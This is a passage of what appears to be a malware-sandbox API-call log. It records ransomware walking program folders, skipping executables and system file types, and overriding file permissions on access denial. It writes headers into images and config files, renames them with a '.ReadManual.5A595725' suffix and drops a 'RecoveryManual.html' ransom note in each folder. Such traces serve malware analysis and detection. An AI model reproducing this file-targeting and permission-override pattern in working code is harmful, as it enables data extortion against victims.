lstrcmpiW (lpString1="vignettemask25.png", lpString2="RecoveryManual.html") returned 1 [0258.447] StrStrIW (lpFirst="vignettemask25.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.447] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.448] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.448] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.448] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.448] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.448] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.448] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.448] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.448] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.448] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.448] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.448] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.448] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.448] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.448] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" [0258.448] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png.ReadManual.5A595725" [0258.448] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png.ReadManual.5A595725") returned 95 [0258.448] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37911673025) returned 1 [0258.448] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png")) returned 0x20 [0258.448] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.448] GetLastError () returned 0x5 [0258.448] GetNamedSecurityInfoW () returned 0x0 [0258.449] SetNamedSecurityInfoW () returned 0x0 [0258.449] SetNamedSecurityInfoW () returned 0x0 [0258.450] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\vignettemask25.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\vignettemask25.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.450] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=56543) returned 1 [0258.450] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdcdf, lpName=0x0) returned 0x1a0 [0258.450] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xce) returned 1 [0258.450] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.450] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.452] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.452] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdcdf) returned 0x2f0000 [0258.454] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.454] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37912281175) returned 1 [0258.454] CloseHandle (hObject=0x1a0) returned 1 [0258.454] SetSecurityInfo () returned 0x5 [0258.454] SetSecurityInfo () returned 0x5 [0258.454] LocalFree (hMem=0x674d38) returned 0x0 [0258.454] CloseHandle (hObject=0x184) returned 1 [0258.454] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 1 [0258.454] lstrcpyW (in: lpString1=0x6ab90e, lpString2="whiteband.png" | out: lpString1="whiteband.png") returned="whiteband.png" [0258.454] lstrcmpiW (lpString1="whiteband.png", lpString2="RecoveryManual.html") returned 1 [0258.454] StrStrIW (lpFirst="whiteband.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.455] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.455] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.455] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.455] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.455] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.455] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.455] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.455] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.455] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.455] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.455] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.455] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.455] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.455] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.455] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" [0258.455] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png.ReadManual.5A595725" [0258.455] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png.ReadManual.5A595725") returned 90 [0258.455] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37912374439) returned 1 [0258.455] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png")) returned 0x20 [0258.455] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.455] GetLastError () returned 0x5 [0258.455] GetNamedSecurityInfoW () returned 0x0 [0258.456] SetNamedSecurityInfoW () returned 0x0 [0258.456] SetNamedSecurityInfoW () returned 0x0 [0258.457] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\whiteband.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\vignette\\whiteband.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.457] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=7261) returned 1 [0258.457] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c5d, lpName=0x0) returned 0x1a0 [0258.457] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc4) returned 1 [0258.457] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.458] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.459] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.459] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1c5d) returned 0x2f0000 [0258.459] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.459] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37912823152) returned 1 [0258.460] CloseHandle (hObject=0x1a0) returned 1 [0258.460] SetSecurityInfo () returned 0x5 [0258.460] SetSecurityInfo () returned 0x5 [0258.460] LocalFree (hMem=0x674d38) returned 0x0 [0258.460] CloseHandle (hObject=0x184) returned 1 [0258.460] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 0 [0258.460] FindClose (in: hFindFile=0x6bff40 | out: hFindFile=0x6bff40) returned 1 [0258.460] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 1 [0258.460] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="WhiteDot.png" | out: lpString1="WhiteDot.png") returned="WhiteDot.png" [0258.460] lstrcmpiW (lpString1="WhiteDot.png", lpString2="RecoveryManual.html") returned 1 [0258.460] StrStrIW (lpFirst="WhiteDot.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.460] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.460] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.460] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.460] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.460] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.460] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.460] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.460] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.460] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.460] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.460] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.460] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.460] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.460] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.460] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" [0258.461] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png.ReadManual.5A595725" [0258.461] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png.ReadManual.5A595725") returned 80 [0258.461] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37912939055) returned 1 [0258.461] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png")) returned 0x20 [0258.461] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.461] GetLastError () returned 0x5 [0258.461] GetNamedSecurityInfoW () returned 0x0 [0258.461] SetNamedSecurityInfoW () returned 0x0 [0258.461] SetNamedSecurityInfoW () returned 0x0 [0258.462] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\WhiteDot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\whitedot.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0258.462] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=23722) returned 1 [0258.462] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5caa, lpName=0x0) returned 0x184 [0258.462] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xb0) returned 1 [0258.463] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.463] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0258.465] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0258.465] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5caa) returned 0x2f0000 [0258.465] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.465] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37913393992) returned 1 [0258.465] CloseHandle (hObject=0x184) returned 1 [0258.465] SetSecurityInfo () returned 0x5 [0258.465] SetSecurityInfo () returned 0x5 [0258.465] LocalFree (hMem=0x674d38) returned 0x0 [0258.465] CloseHandle (hObject=0x194) returned 1 [0258.466] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\" [0258.466] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html" [0258.466] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0258.467] WriteFile (in: hFile=0x194, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fdf0*=0xae9, lpOverlapped=0x0) returned 1 [0258.467] CloseHandle (hObject=0x194) returned 1 [0258.468] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 0 [0258.468] FindClose (in: hFindFile=0x6bff00 | out: hFindFile=0x6bff00) returned 1 [0258.468] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Filters.xml", cAlternateFileName="")) returned 1 [0258.468] lstrcpyW (in: lpString1=0x6ab8e8, lpString2="Filters.xml" | out: lpString1="Filters.xml") returned="Filters.xml" [0258.468] lstrcmpiW (lpString1="Filters.xml", lpString2="RecoveryManual.html") returned -1 [0258.468] StrStrIW (lpFirst="Filters.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.468] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0258.468] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0258.468] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0258.468] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0258.468] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0258.468] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0258.468] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0258.468] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0258.468] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0258.468] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0258.468] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0258.468] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0258.468] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0258.468] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0258.468] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Filters.xml" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Filters.xml") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Filters.xml" [0258.468] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Filters.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Filters.xml.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Filters.xml.ReadManual.5A595725" [0258.468] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Filters.xml.ReadManual.5A595725") returned 69 [0258.468] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=37913718500) returned 1 [0258.468] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml")) returned 0x20 [0258.469] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.469] GetLastError () returned 0x5 [0258.469] GetNamedSecurityInfoW () returned 0x0 [0258.469] SetNamedSecurityInfoW () returned 0x0 [0258.469] SetNamedSecurityInfoW () returned 0x0 [0258.470] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\Filters.xml" (normalized: "c:\\program files\\dvd maker\\shared\\filters.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0258.470] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=14239) returned 1 [0258.470] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x379f, lpName=0x0) returned 0x194 [0258.470] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x9a) returned 1 [0258.471] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.471] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0258.475] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0258.475] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x379f) returned 0x2f0000 [0258.475] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.475] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=37914398405) returned 1 [0258.475] CloseHandle (hObject=0x194) returned 1 [0258.475] SetSecurityInfo () returned 0x5 [0258.475] SetSecurityInfo () returned 0x5 [0258.475] LocalFree (hMem=0x674d38) returned 0x0 [0258.475] CloseHandle (hObject=0x190) returned 1 [0258.476] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\" [0258.476] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\RecoveryManual.html" [0258.476] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\shared\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0258.476] WriteFile (in: hFile=0x190, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe38, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe38*=0xae9, lpOverlapped=0x0) returned 1 [0258.477] CloseHandle (hObject=0x190) returned 1 [0258.477] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 1 [0258.477] lstrcpyW (in: lpString1=0x6ab8e8, lpString2="Parity.fx" | out: lpString1="Parity.fx") returned="Parity.fx" [0258.477] lstrcmpiW (lpString1="Parity.fx", lpString2="RecoveryManual.html") returned -1 [0258.477] StrStrIW (lpFirst="Parity.fx", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.477] StrCmpIW (psz1="fx", psz2="exe") returned 1 [0258.477] StrCmpIW (psz1="fx", psz2="dll") returned 1 [0258.477] StrCmpIW (psz1="fx", psz2="sys") returned -1 [0258.477] StrCmpIW (psz1="fx", psz2="msi") returned -1 [0258.477] StrCmpIW (psz1="fx", psz2="mui") returned -1 [0258.477] StrCmpIW (psz1="fx", psz2="inf") returned -1 [0258.477] StrCmpIW (psz1="fx", psz2="cat") returned 1 [0258.477] StrCmpIW (psz1="fx", psz2="bat") returned 1 [0258.477] StrCmpIW (psz1="fx", psz2="cmd") returned 1 [0258.477] StrCmpIW (psz1="fx", psz2="ps1") returned -1 [0258.477] StrCmpIW (psz1="fx", psz2="vbs") returned -1 [0258.477] StrCmpIW (psz1="fx", psz2="ttf") returned -1 [0258.477] StrCmpIW (psz1="fx", psz2="fon") returned 1 [0258.477] StrCmpIW (psz1="fx", psz2="lnk") returned -1 [0258.477] lstrcpyW (in: lpString1=0x68b880, 